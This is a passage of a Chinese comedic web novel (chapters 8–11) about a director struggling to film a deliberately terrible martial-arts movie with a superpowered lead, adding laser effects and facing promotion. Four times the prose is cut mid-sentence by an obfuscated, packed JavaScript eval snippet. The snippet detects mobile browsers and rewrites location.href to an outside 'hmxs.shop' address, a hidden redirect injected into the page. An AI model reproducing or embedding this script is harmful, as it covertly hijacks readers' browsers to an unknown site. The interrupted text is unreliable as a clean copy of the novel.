“喻逸明，眼睛不能看镜头啊！你现在就是主角，主角怎么会知道这里有镜头呢？” 温行看着一边走剧情，一边直愣愣往镜头里看的喻逸明，崩溃道。 “哦、哦，好的。” 喻逸明像个挨训的学生一样，老老实实地立正点头。 下一次他确实没看镜头了，温行却更加崩溃： “也不能故意躲着镜头啊！自然点，自然点……” 喻逸明确实没看镜头，表现在他一和镜头对视，就心虚地闪开了目光，简直把“我知道这里有个镜头我不看你我不看你”写在了脸上。 喻逸明困惑地挠挠脸：“温导，那我到底是看镜头还是不看呢？” 温行：“……” 好不容易把镜头的问题解决了，拍完了一小段主角出场的片段，到打斗的环节，又出问题了。 武术指导：“好，接下来左边的山匪靠近男主，用短刀刺向男主，这个时候男主回身扭头，一个扫堂腿……” 他话还没说完，就被一阵乒呤哐啷的巨响打断了。 只见那个扮演山匪的群演，就这么硬生生地被扫飞出去了……飞出去了……去了…… 这下，崩溃的除了温行又加了一个武术指导： “没让你真踢啊，假动作！假动作好吗？” 武术指导一边跑去扶扮演山匪的群演，一边绝望地对喻逸明说。 喻逸明也吓了一跳，跟着跑过去去扶那个群演：“对不起对不起，我刚才没收住力。” 其实他是知道要假动作的，但奈何那条腿送出去之后，就不太受他的控制了…… 别人是不知道怎么真踢，而他是不知道怎么假踢啊！ 群演呲牙咧嘴地站了起来，紧接着就是一顿兵荒马乱的检查。 好在群演是个专门拍武打情节的，又是年轻力壮的小伙子，除了腿上青了一片之外并无大碍。 这让温行松了一口气，赶紧给他转了一笔工伤费让他先下去好好休息，又换了一位群演上场。 这下总算没出问题了，虽然喻逸明由于非常努力地收着力导致动作看起来很假，但对于现在的温行来说，这已经是个微不足道的小事了。 第一个片段马上就要拍完了，所有人都松了口气。 武术指导：“好！最后一个动作！山匪过去，背后用手劈男主的脖子，然后男主……呃……” 武术指导目瞪口呆，看着被喻逸明一个过肩摔扔在地上的群演。 喻逸明在把人摔出去的那一瞬间就感觉不妙了，赶紧收了力，又伸手去拉地上的群演：“对不起对不起……” 由于他收力及时，群演倒是没受什么伤，但心理阴影就是另一回事了。 看到喻逸明伸过来的手，不仅没接，还扭着屁股往后退了两米，把“你不要过来啊！”写在了脸上。 温行：“……” 他再次暂停了拍摄过去检查那位群演的状况，一边用幽怨的眼神看向喻逸明：“这次又是怎么回事？” 喻逸明心虚且小声：“这个……这是我们之前训练过很多次的动作，形成肌肉记忆了。” 他们有一样训练就是如何应对从背后偷袭的敌人，由于日常训练过太多次，以至于当有人从背后向他伸手的一瞬间，身体肌肉下意识的就是一个过肩摔…… 温行本来还有些埋怨的，听完喻逸明的解释之后这点埋怨也没有了。 这段时间他已经了解到，这些异能者们都站在保护国家安全的前线，越高阶的异能者，承担的任务也更重。 自然，日常训练也不能松懈。经过千百次的训练，一些动作早就成为了本能。 唉，说起来让喻逸明这个对演戏一窍不通的人来拍电影，对双方都是一种巨大的折磨啊…… 话虽如此，理解归理解，温行也不想让第三个群演再挨揍了。 他只能无奈地暂停了拍摄：“好了好了，今天的武戏就先拍到这儿吧，喻逸明你回去再适应适应，明天千万不能发生这样的情况了。我们这里可没那么多群演让你打啊。”最后一句话他是苦笑着说出来的。 温行：“我们就先拍文戏吧，这样，就拍男主和男二初次见面的那一段……” 这一段是男主和男二的第一次正面交锋，两人对坐在棋盘两端，一边对弈一边论道，最后男主略胜半子，对武道的理解也使得男二哑口无言，男主微笑着飘然而去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793789|190600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温行想得非常好——这场戏从头到尾只需要老老实实地坐着，这下总不会出什么问题了吧！ 然而等拍摄一开始他就明白了，理想是丰满的，现实是骨感的…… 这位男二是个非常立体的角色，性格狠辣立场相对，却又偏偏和男主之间有一些惺惺相惜，作为一个亦敌亦友的角色在剧情中起到非常重要的作用。 男二演员的演技也很高超，对微表情的把握炉火纯青。短短几句对话的时间，眼神从狠辣，到震惊，再到钦佩，数度变化。 让摄像机前的温行忍不住感慨，不愧是老戏骨啊！ 再一看他对面的喻逸明，眼神中充满了坚毅。 温行：“……” 当初光想着请演技好的老戏骨了，忘了一个关键的问题——喻逸明这个男主根本就接不住他们的戏啊！ 他只好无奈地喊了停：“喻逸明，注意一下眼神和情绪的变化……” 就这么反复折腾了几次，工作人员也都挺累的了，温行只好让大家先休息休息。 饰演男二的演员名叫裴泰清，已经五十多岁了。他陪着喻逸明ng了好几次，倒也不生气，还笑呵呵地同喻逸明搭话。 他不生气的原因是，这小伙子虽然演技不行，但态度诚恳眼神清明，不像是那种攀关系走后门的偷奸耍滑之人。而且腰板挺得很直，一身正气，这种气质可不是一般人能有的。 于是裴泰清看着喻逸明，越看越觉得喜欢：“小伙子，你之前是做什么工作的？” 喻逸明犹豫了一下，他的真实身份肯定是不能说的，就模糊地糊弄了过去。 不过裴泰清也有了他自己的猜测，爽朗地笑起来：“没事小伙子，最开始演不好没关系，我教教你怎么控制眼神变化……” 喻逸明认真受教的表情让他很是受用，捋了捋下巴上的假胡子，滔滔不绝地讲了起来：“拍戏，讲究的是一个词叫做‘入戏’。把自己带入到角色本身的情绪中，感角色所感，自然而然就能用情绪带出眼神……” 裴泰清一边讲着，一边看到喻逸明认真点头倾听着，顿觉大有希望，孺子可教也：“好了，你应该也差不多懂了吧！和我对一段戏试试？” 喻逸明自信点头，坐下，与裴泰清眼神对视。 两人大眼瞪小眼，半分钟后，裴泰清：“……你的眼神变化呢？” 喻逸明眨眨眼：“我觉得我变了啊。” 裴泰清差点被气倒：“你这哪里有变化！不行，我再给你讲一遍，你这次听好了……” 又经过几轮这样的循环之后，裴泰清终于明白，喻逸明表现出的听懂了学会了，统统都是错觉。 主要是他诚恳的眼神和认真的表情实在太有迷惑性了，但实际上，这就是块不可雕的朽木…… 他气得声调都升上去了：“我带了那么多学生都没问题，怎么你就学不会呢！我就不信了，我给你亲自示范一遍，你看着！” 说完，恨铁不成钢地开始亲自表演。 表演完，他期待地看向喻逸明： “你自己代入一下试试看嘛，体会一下那种复杂的心情……一位一直在与你暗中交锋的难缠对手，这次你终于见到了他的真容，你会是什么感受？” 喻逸明仔细地思考片刻：“想……把他一刀捅死？” 裴泰清气得话都说不出来了。 9. 我们是专业的 温行正在那边喝水休息，就看到裴泰清怒气冲冲地揪着喻逸明过来了。 他还有些疑惑，刚才刚休息的时候，这两个人看起来不是还挺相谈甚欢的么？怎么突然就变成这样了？ 裴泰清怒不可遏：“我还没和这么不开窍的人对过戏呢，再这样我的名声都要毁在这部电影上了！” 温行瞬间懂了。 哦，原来是被喻逸明那个演技气的。 相比起来他就要淡定多了，可能是这两天经历的事情太多，整个人都像死了一样平静。 他甚至还有心思安慰裴泰清：“不要生气嘛裴叔，您想想，难道没有喻逸明，您的一世英名就不会毁在这部电影上了吗？” 裴泰清顿时想起了他们这个剧本：“……” 还真是令人无法反驳的安慰啊。 他“哼”了一声，一甩袖子自己走了。 温行把刚才拍摄的几条ng又翻出来看了一遍。 看完之后他觉得，裴泰清气成这样也是有道理的。 喻逸明垂头丧气地站在旁边，温行安慰他：“没关系，我知道你已经尽力了。让我想想办法，想想办法。” 喻逸明走了之后，他把杨浩波叫过来了：“浩波啊，你看要不把这段剧本改简单点吧，什么感情变化之类的全都删掉，就留一个男主的背影……” 他心态十分良好，演员这边走不通，那就干脆把剧本改了嘛！ 杨浩波大惊失色：“不行啊，这是个非常重要的剧情！它牵扯到男主一系列的心态变化，还有整部电影的关键主旨，每一句对话都有其含义，是绝对不能改的！” 温行笑眯眯地让开了摄像机的位置：“你自己看。” 看完之后，杨浩波：“……要不我还是改改吧。” * 拍摄就这么鸡飞狗跳地过去了。 之前被喻逸明气到的时候，裴泰清发誓之后绝对不会再多管他一次了。 但到之后拍摄的时候，还是每次都口嫌体正直地在一边指导他。 没办法，喻逸明的那个演技，实在是辣眼睛啊辣眼睛！ 虽然说喻逸明在表演这方面完全就是块朽木，但有了裴泰清坚持不懈的指导和杨浩波“量身定制”的剧本，居然还真有了些进步，磕磕绊绊地倒也把剧情拍下去了。 这一天，中场休息的时候，温行把演员们召集在一起，沉痛地宣布道：“各位，所有正常的情节都拍完了，接下来我们就要开始拍一些……嗯……比较夸张的情节了。所以说，需要大家在表演的时候注重一下，呃，信念感……” “我们先拍一下男主觉醒新武功之后的第一场双人打戏，就是男主和男二的那一场。”温行翻开剧本，飞快地看了一眼，又不忍直视地赶紧把它合上。 这场戏说起来简单的不得了，就是男主从眼睛里射出一道激光，男二应声倒地…… 但说起来简单拍起来难，因为实在是—— 太容易笑场了！ 首先就是喻逸明这个男主，每次说完台词，准备放武功的时候就会开始笑场：“吾入定悟道三天，成功悟得一门新功法。此法名为——眼部激光！看招！噗哈哈哈哈哈哈哈哈……” 他一笑，现场全员也开始狂笑，每次都得好几分钟才能安静下来。 他们是开心了，一直喊ng的温行则很绝望：“别笑了别笑了，喻逸明，说你呢，能不能不要每次都笑场！” 喻逸明很无辜：“温导，你看看这个台词，很难不笑吧？” 温行：“……” 他承认喻逸明说的是对的。 无奈之下，他只能给喻逸明支了个招：“这样，你一说完台词，就赶紧憋气瞪眼，这样总不至于笑出声了吧？” 至于演技什么的，早就被他抛到了九霄云外，反正配上这么个离谱的激光，就算再怎么绝妙的演技也会被毁掉的…… 这一次，按照温行的指导，喻逸明说完台词后居然真的没有笑场。就在温行感到自己看到了希望的曙光的时候—— “噗——咳咳咳咳咳……” 温行不可置信地看向边咳边笑的裴泰清，感觉自己受到了背叛：“裴叔，怎么连你也？？？？” 说好的老戏骨呢？说好的专业素养呢？你怎么也被传染上笑场了！ 裴泰清笑得被自己的口水呛住了，好不容易才止住了咳嗽：“不好意思，不好意思。” 他实在是没好意思说，刚才喻逸明憋气瞪眼的样子，活像是一只青蛙…… 我们是专业的，一般不会笑.jpg …… 总之，这部电影就在一片欢笑声中艰难地拍了下去。 所有人都很开心，除了温行这个被反复ng折磨的总导演。 拍摄到了后期，肉眼可见的，大家都开始放飞自我了，什么演技啊台词啊都被抛到了九霄云外，笑得前仰后合的。 到最后就连温行也开始摆烂了。 笑场？过！到时候把笑的部分剪掉就行。 台词说错了？过！反正到时候观众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793790|190600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意力肯定都在激光上面，没人会注意台词的。 表情不对？过！谁还能注意到表情啊。 他感觉，经过这段时间的磨练，他已经成长为了一个合格的烂片导演。不对，这好像也不是什么好的成长…… 在温行的摆烂式拍摄下，这部电影居然像流水一样很快就拍完了，比他们预期的时间还要提前半个星期。 按照常规的流程，接下来就得吃顿杀青宴了。一般来说杀青宴也可以当作一个小庆功宴，但是温行真的很难把这顿饭叫做“庆功”…… 他心情复杂地组了个饭局，不过来吃饭的大家都还挺开心的。 一方面，他们这段时间确实玩得很开心，剧组氛围很好—— 废话，天天笑场的剧组，那氛围能不好吗！ 另一方面，剧组里也没有一般剧组会有的咖位之争。倒不如说恰恰相反，大家都对那几位戏份比较多的主演怀抱着深深的同情，毕竟戏份越多，丢脸越多…… 就在这种心态和“大家反正要烂一起烂”的心情下，所有人都十分乐呵，甚至还有心情互相调侃，谁谁谁的某场戏可真是太好笑了，谁谁谁笑场次数最多。 反正钱拿到了，至于黑历史嘛……在场这么多大演员老戏骨陪着呢，黑历史也不是一个人的黑历史对不对？ 拍摄告一段落了，剩下的就是制作和后期。 就在这时候，陈继广还专门给温行打了个电话过来。 虽然温行在这边的事情由刘雅安负责，但是作为这件事的总负责人，他还是会隔三岔五地打电话关心一下温行。 知道他们的拍摄结束了，陈继广问他：“不需要请个剪辑师来给你们剪辑吗？” 温行一口回绝了：“不用了陈叔，我自己能行。” 他之前当拍摄助理打杂的时候什么都干，包括剪电影也会一点。 陈继广一愣：“为什么？你自己歇一歇不好吗？” 温行声音坚定：“家丑不可外扬。” 陈继广：“……” 和陈继广打完电话之后，温行打开自己的电脑，导入拍摄的片段，开始剪辑。 几分钟后，他“啪”地一声合上了电脑，再度给陈继广打去了电话。 “陈叔，我改主意了，我们还是请个人来剪吧。” 陈继广正奇怪温行怎么没几分钟又给自己打电话：“行倒是行，但你怎么这么快就改主意了？” 温行：“我承受不住这种精神攻击了。” 陈继广：“……” 10. 激光特效 最后，这部电影的剪辑，还是请了一位专业制作人完成的。 鉴于这是部对国家有重要意义的片子，请的制作人也是圈内的大佬，温行直接砸钱请的。 由于他砸的钱实在是太多了，在接到这个任务的时候，制作人本来严阵以待，直到他看到了温行发过来的剧本和素材…… 这是什么玩意？ 不理解但尊重.jpg 虽然看不懂他们在拍什么，但制作人还是怀揣着一颗敬业的心，尽职尽责地给他们剪完了片子。 剪完的成片发回给温行之后，温行用三倍速看了一遍，确认没有什么问题。 至于为什么是三倍速，因为他实在没有用正常倍速把它看完的勇气…… 剪辑完成之后，就是特效了。 相比十分随意的拍摄和剪辑过程，国家对待特效的态度就要慎重了很多。 毕竟对于国家来说，拍摄不重要、剧情不重要、剪辑也不是很重要，但特效却是重中之重。因为它直接影响到能力在电影里呈现的效果，进而影响到现实。 因此，国家的态度是，特效一定要做到最好，花最多的钱、用最先进的技术、请最优秀的公司。另外，在一定的范围内，自然是越夸张、越显眼、越让人印象深刻越好！ “最先进的技术、最优秀的公司……”温行听完要求之后，稍一琢磨，就想到了凝光映画这家特效公司。 凝光映画是蓝国最大的一家特效公司，其代表作有《星骸纪元》、《毁灭日》、《兽语者》等。 其中前两部是灾难大片，第三部则是动画电影。这三部电影评价褒贬不一，但统一的是，刚一上映就都被观众夸赞特效出众，凝光映画也成了蓝国特效的一块招牌。 而前段时间，他们还推出了一样名为360°模型渲染的新特效技术，据称能够大幅提升特效的逼真程度——虽然十分贵就是了，堪称一秒千金。 温行也不是没考虑过一些国外的制作公司，但是由于这部电影太过重要了，又是国家机密级的任务，因此国家的意思是，还是交给蓝国自己人比较放心。 确定好这家公司，向国家报备好之后，温行就找到了他们负责人的联系方式，给对方发了消息，先自我介绍了一下，然后表明了来意。 【你好，我这边有一部电影希望能使用你们的新特效技术制作，全片共1h55min……】 奇怪的是，不知道为什么，对面“正在输入中”转了半晌，却一直没回。 不过温行也没多想，耐心地等待着他们的回复。 * 温行发消息的时间是在晚上，这个时间，凝光映画的负责人正在睡眼惺忪地加着班。 看到温行的消息，他扫了一眼，心想：嗨，肯定又是个没了解过市场的新导演。 毕竟他们的新特效由于是刚开发的技术，价格也贵得离谱。即使是那些大投资的动作片灾难片，也不过是在关键的那么一两个镜头使用罢了。 结果这位温导演一张嘴就是希望整部电影都使用新特效制作，一看就是不知道他们的价格，才会说出这么天真的言论。 当然，心里这么想，他肯定是不能直接这么和对方说的。他翻了半天，翻出公司的价格表给对方发了过去，委婉道： 【您好，我们公司的新技术价格比较昂贵，可能不太够全片使用。请问您的预算是多少啊？我给您推荐合适的技术。】 没过几秒，那位叫温行的导演回他：【没有预算。】 负责人：“……” 他气得差点骂人，这是什么奇葩的客户啊！没有预算还来找他们，是想吃霸王餐，不是，想白嫖霸王特效吗？ 加班的怨气加上碰到奇葩客户的愤怒，让他正想扭头和同事吐槽一下，就在这时候，温行大概是觉得前一句话有歧义，又赶紧补充道： 【没有预算的意思是，不用考虑钱的问题，直接用最好的特效，无论需要多少钱我们都能结给你们。】 其实这还真不是温行自己说的，这句“没有预算”还有后面对它的解释，都是当初王正平对他说的原话。 负责人的怨气一下就消失了，“唰”地一下从座位上坐了起来。 哪来的这么豪横的客户！ 话虽如此，他还是有点半信半疑，对面不会是在说大话吧？ 紧接着下一秒，一大笔转账就从温行那里转了过来：【不知道你们需要多少定金，先付这么多可以吗？】 负责人：【当然可以，没问题！】 温行给的这笔钱，都比他们之前做一单总共的钱要多了！ 感觉光有文字不够谄媚，他又挑了个滑跪加爱心的表情包发了过去。 负责人：【您有什么要求尽管提，我们肯定完成！】 温行：【真的什么要求都能完成吗？】 负责人：【当然的亲！】 温行：【那就好，我们的需求是，在这部武打片里加上激光特效。】 负责人：……？ 武打片？激光特效？ 是他疯了还是对面疯了，还是说今年武打片多了什么他不知道的新流行？ 负责人：【不好意思，我得和您确认一下。您是说，在武打片里加激光特效？】 温行：【是的，具体细节你们可以自由发挥，只有一个要求，越夸张越好】 这个要求让负责人更加摸不着头脑了，这个时候，温行把他们的样片和具体要求发了过来，他就先点开看了一眼。 看完之后，他陷入了深深的沉默。 负责人看着这个要求。 又把聊天记录拉上去看了看刚才那笔转账。 再拉下来看看这个要求。 再拉上去看看转账。 如此几次，他感觉自己的内心在良知和金钱之间挣扎。 他们凝光映画，可是全国最大、最先进的技术公司，被誉为蓝国特效之光的存在。 他们代表着蓝国最先进的特效技术，之前合作的，无一不是国内制作精良的特效大片。作为这样一家公司的负责人，他也是有尊严的！ 负责人：【……好的亲，我们会尽力完成的。】 ……没办法，他们给的实在是太多了。 * 把这件任务下发给公司的技术人员的时候，负责人专门强调道：“客户就是上帝，不管客户提出怎样的要求，我们都不需要质疑，只要尽职尽责地让客户满意就好！” 技术人员们最开始还对负责人这突然而然的鸡汤语录感到不解，直到他们打开了影片和具体的要求…… 太好了，我逐渐理解一切.jpg 在恍惚中，几位技术人员加班加点，还是尽职尽责地把特效做完了。 不仅如此，在负责人的要求下，他们还做了三个不同的版本，供对方挑选。 一方面是展示出他们作为合作方的诚意，另外一方面嘛……这也算是负责人的一点小心机。 做三个版本，自然就能拿三个版本的钱了。反正对方看起来是个土豪，不趁机赚一点钱那不是傻子嘛。 不过钱是赚到了，却苦了凝光映画的技术人员。三个版本，他们花了整整半个月才做好。 把成果提交给负责人的时候，技术总监苦着脸：“这也太折磨人了，就算再给多少钱，我们也做不出来其他版本了……” 对于他们来说，不仅要给演员加上激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793791|190600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光特效，关键是，还得考虑怎么才能加得正常、加得合理、加得不那么引人发笑……简直就是个不可能完成的任务嘛！ 更过分的是，这种不可能的任务还得做三份，属实是一种精神折磨了。 负责人收到样片之后看了一遍，觉得非常满意。 能看出来技术人员们都尽力了，还加了很多小的巧思。激光本来应该是个在场景中十分突兀的东西，却被他们做得尽可能和剧情融洽，看起来也不太违和。 这是怎样的一种含金量啊！负责人自豪地想，也就是他们凝光映画，才能够变不可能为可能，换做别家特效公司，做出来的效果肯定会很灾难。 抱着这种心情，他信心满满地把三份样片发给了温行。 紧接着，他就得到了噩耗： 这三份样片都没有通过。 这下，不仅是负责人，技术总监就先崩溃了： “这都不通过！这都不通过！他们还想要啥啊，这活我们干不了了！” 他在电脑旁边毫无形象地大叫着。 负责人：“那边说特效做得挺好，但三份特效都有些太……收敛了，希望我们再大胆点，把特效做夸张些。” 技术总监继续大叫：“他们还想怎么夸张，眼睛冒激光还不够夸张吗？” 一边骂骂咧咧，身体还是十分诚实地回到了工位上，开始修改之前的样片。 唉，吃人嘴短拿人手软啊！ * 之后一段时间，技术总监终于体会到了，什么叫做万恶的甲方。 提交一份样片——看起来不够明显，再改改！ 再提交一份样片——激光颜色太淡了，再改改！ 再再提交一份——总感觉哪儿不对，再改改！ 就这样，他不信邪地提交了一版又一版，全都以被打回来告终。 虽然对方承诺，每一份废稿也会按照相应比例给钱，但到后面，这已经完全不是钱的问题了，这是面子问题！ 尤其是对方希望他们能尽快出结果，所以这段时间技术人员们都在加班加点地赶工，包括技术总监在内，从上到下怨声载道。 眼看又到一天晚上了，他们的样片再度被打了回来，技术总监终于气疯了。 他把一个技术人员从座位上赶开，自己亲自打开了做到一半的特效。 看着那边发来的“我们还是希望能更夸张一些”的最新消息，他狞笑一声—— 呵，你们不是想要夸张么？ 我就直接把激光做成半米宽、两米长、你看这够不够夸张？ 对了，颜色也要调成大红的颜色，我让你说我颜色太淡！我让你说我颜色太淡！ 还有，激光相关的特效也怎么离谱怎么来，就比如说这段激光轰碎山峰的情节，就做成激光扫过，一座山头直接飞到天上好了！ 就这么花了两个小时的时间改了个纯报社的版本，他“啪”地一声点击了发送，怒气冲冲地一挥手：“行了，大家都回家睡觉去吧！” 而他自己也气冲冲地回了家，往床上一躺就睡着了。 …… 第二天，技术总监醒来的时候，气已经全消了。回忆起自己昨晚冲动之下做的蠢事，他冷汗直接就下来了—— 自己的所作所为，可是直接得罪了他们最近最大的一位客户！ 万一对方觉得他们故意消极怠工，直接终止掉合同，那他可就成了公司的罪人…… 技术总监汗流浃背，在心中打了十分钟的道歉草稿，这才小心翼翼地打开手机，点开了和温行的对话框。 温行：【恭喜啊，投资人很满意你们这版特效，已经通过了！】 技术总监：？？？ 11. 宣传片 其实，当看到技术总监的最新版特效的时候，温行也是眼前一黑。 他眼前一黑，不仅是因为这个特效本身的离谱，还因为他知道，这份特效十有八九真的会通过的…… 是的，温行这两天表面上扮演着一个难缠的甲方，实际上，他只是个无情的传声筒。关于特效的所有决定，都是国家讨论后下达给他，然后他再传达给凝光映画的。 因此，温行十分能够共情那位技术总监。尤其是看着对方的精神状态从疑惑到暴躁到绝望再到死了一样平静，他更是感觉像看到了曾经的自己…… 把这份特效交上去的时候，他其实也是很不情愿的。 但不管怎么说，他没法阻止凝光映画的技术总监给他提交这么一份离谱的特效，同样，他也没法阻止国家做出的通过特效的决定。 通过的决定出得很快，值得一提的是，电话是由陈指挥打过来的。 “这版特效做得特别好！经过我们的讨论，已经一致决定通过了！” 在电话里听到陈指挥那喜气洋洋的声音的时候，温行再度眼前一黑：“陈指挥，怎么打电话的是您啊？” “哦，对了，我是不是忘记和你说了啊？因为我本来就分属异能部门，小喻又是我手底下的人，所以国家就让我负责你这部影片的后续审核和宣发了！哈哈哈是不是挺意外的？” 完了。全完了。 温行感觉，自己已经看到了这部电影的悲惨命运…… * 不管怎么说，特效终于制作完成了。 拿到成片之后，温行给剧组的主要成员们发了一份，让他们自己去看。 发完之后，他麻溜地把自己的手机调成静音，免得之后收到一系列消息轰炸。 而他、杨浩波，则和另外几位负责这件事的异能部门的领导，一起在投屏上看完了这部影片。 令他颇感欣慰的是，喻逸明和那位陈指挥都没过来。据说是有一场和鹰国的战术演习，不得不提前走了。 虽然没有让喻逸明这位主演亲眼见证他自己的演技有点遗憾，但陈指挥不在，他还是大大地松了口气。 这所有人中，看得最认真的就是杨浩波了。因为作为编剧，他只参与了剧本的修改和部分拍摄，而对拍摄结束后的剪辑、特效之类的，一概没有了解。 这毕竟是他亲自写的第一个剧本，又是他寄予了厚望的一个故事。即使已经知道剧本被改成什么样了，但不怀着一些期待还是不可能的…… 温行一看他的表情就知道他在想什么，但他不忍心戳破好友的幻想。 如果说，当喻逸明那坚毅的脸庞、僵硬的演技出现在影片中时，杨浩波尚且还能抱着一丝希望的话… 那条半米宽、两米长的红色激光出现在了屏幕上的时候，这点希望也通通化为了泡影。 杨浩波：“我……草……” 温行赶紧捅他一下，示意旁边还有好几位领导在，注意点形象。 不到两小时的时间，却显得如此的漫长。电影终于放完之后，现场只剩一片静默。 过了一会儿，杨浩波弱弱地开口：“各位领导，我能不能申请把我的名字从演职员表里删掉啊。” 温行：“……我也申请。” 太丢脸了。 * 后面温行才发现，原来有这个诉求的不仅是他和杨浩波两个人。 当他看完影片，终于打开自己静音了大半天，已经被消息淹没了的手机的时候，发现几乎所有看过成片的剧组成员，都提出了相同的请求。 这也不算什么不合适的请求，尤其是放到此刻的情境下更是合情合理。因此几位相关领导讨论了一下，当即大手一挥——不就是匿名嘛，可以！ 剧组的主要成员都可以自由选择要不要把名字放到演职员表上，想匿名或者化名都没问题。 刚因为国家难得的通情达理而感动的温行，下一秒就得到了噩耗—— 除了你，温行！ “为什么啊，这不公平！”温行欲哭无泪，如果大家全不匿名也就罢了，但现在所有人都是匿名，他就正如那个移动的活靶子，火力的集中点，喷子们的狂欢对象，到时候观众扔臭鸡蛋菜叶子都只往他一个人身上砸的那种…… 陈继广尴尬地笑着，和他解释道：“这不是我们还没有彻底摸清你异能的使用条件嘛。” 温行异能的触发条件是，参与到电影的拍摄中，参与程度越高，异能效果越强。 那谁知道作为导演署名算不算“参与”的一环呢，总之现在是关键时刻，一点风险都不能冒。 所以国家的意思是，温行不仅要署名，还要署得夸张、署得显眼、署得一目了然，直接大字放在屏幕中央，让任何一个看过这部影片的人都对这部电影的归属没有疑问！ 温行据理力争，抗争无效，只好眼睁睁地看着自己的大名被放在了电影开头。 大概也感觉他们这事做得太不人道了，陈继广赶紧许诺，等电影放映之后国家肯定会给他补偿的。而且现在正好拍摄结束了他这个导演没什么事干，可以回家休息休息嘛。 带薪休假，想休多久休多久，休到电影放映结束都没问题！ 虽然温行怀疑，这只是他们把自己支开，免得自己再阻碍他们对电影下手的计策，但他此刻确实需要一段时间的休息，来弥补自己的心灵创伤。 于是他就再次回到家里，过了一段时间咸鱼瘫的生活。 这次回家，温行结结实实把爸妈都吓了一跳：原本从家里离开的时候还活蹦乱跳信心满满的，不过几个月功夫，整个人都透露着一股生无可恋。 妈妈赶紧问：“咋了，是不是工作的时候受欺负了？” 温行：“不是不是……” 自己遇到的领导们都挺好的，虽然提的要求是离谱了点，但人都挺好，也很照顾他。 妈妈：“那是人家又拖你工资了？” 上次回来之后温行和家里人讲了自己被李导拖工资的事。 温行：“倒也没有。” 国家发钱还是很爽快的，还动不动就会以各种奖金或者补偿的名义给他砸钱。 温行：“我这部电影，嗯，拍得太痛苦了，而且是个大烂片。” 妈妈：“害，我以为是啥事呢。你按照人家国家的要求拍了吗？” 温行：“按照了……” 倒不如说，正因为按着国家的要求拍，才拍出这么烂的效果。 妈妈：“那不就得了！那就算烂也不是你的问题嘛。咱不要管那些别人的眼光。你晚上想吃啥，给你炖个排骨汤？” 晚上，温行喝到了热乎乎的玉米排骨汤，感觉这段时间的郁闷一扫而空。 不就是拍烂片嘛，反正是为了国家，让他再拍十个也没事！ …… 话虽如此，在家的这段时间，他还是怀着一种眼不见心为静的心态，屏蔽了一切关于这部电影的消息。 而爸爸和妹妹估计是之前被妈妈叮嘱过，在家的时候也一句没提过拍电影的事。 温行就这么在家里过了一周滋润的日子，直到某个下午，他在沙发上看电视，妹妹窝在一边刷手机，突然“卧槽”一声： “哥，这不是你么？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793792|190600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >温行往她的手机里一瞅，毫无准备地和自己的大名来了个面对面。 真的是“大名”，宋体加粗，板板正正占据在海报正中央——导演：温行。 温行：“……” 不是，谁家海报不把演职员名字放在下面小字，而是直接放正中央的啊？他的名字都大到把喻逸明那张坚毅的脸挡住了！ 发出这张海报的，是个叫做@《长风断剑》剧组的微博号—— 武侠片《长风断剑》先导海报放出，敬请期待！ 看到这，温行才知道在他休息的日子里，异能局那帮人不仅不声不响地把电影名字定了、海报做了，连宣发都开始了。 他沉思片刻，看着那张把自己名字放在中央的海报，最后还是决定提前结束假期，回去看看。 不然他怕没有自己盯着，那些人再整出什么比这张海报更离谱的东西。 * 温行回去的时候，陈继广看到他还吓了一跳：“呵呵，小温啊，你怎么突然过来了。” 温行狐疑地看着他脸上尴尬的笑容，总感觉他们又在背着他做什么他不知道的事情。 他随口试探道：“陈叔，我就是在家待着无聊，想参与一下电影的宣发嘛。对了，最近进展怎么样了？” 陈继广：“咳，我们正好这两天刚把预告片剪完。如果你想看的话，可以过来一起看看。” 于是，温行和陈继广、杨浩波，还有其他几位负责人一起，在会议室的投影仪上看了他们剪出来的预告片。 看到一半，温行沉默片刻，发出了灵魂拷问—— “陈叔啊，真的会有人在看完这个预告片之后，还愿意进电影院看我们的片子吗？” 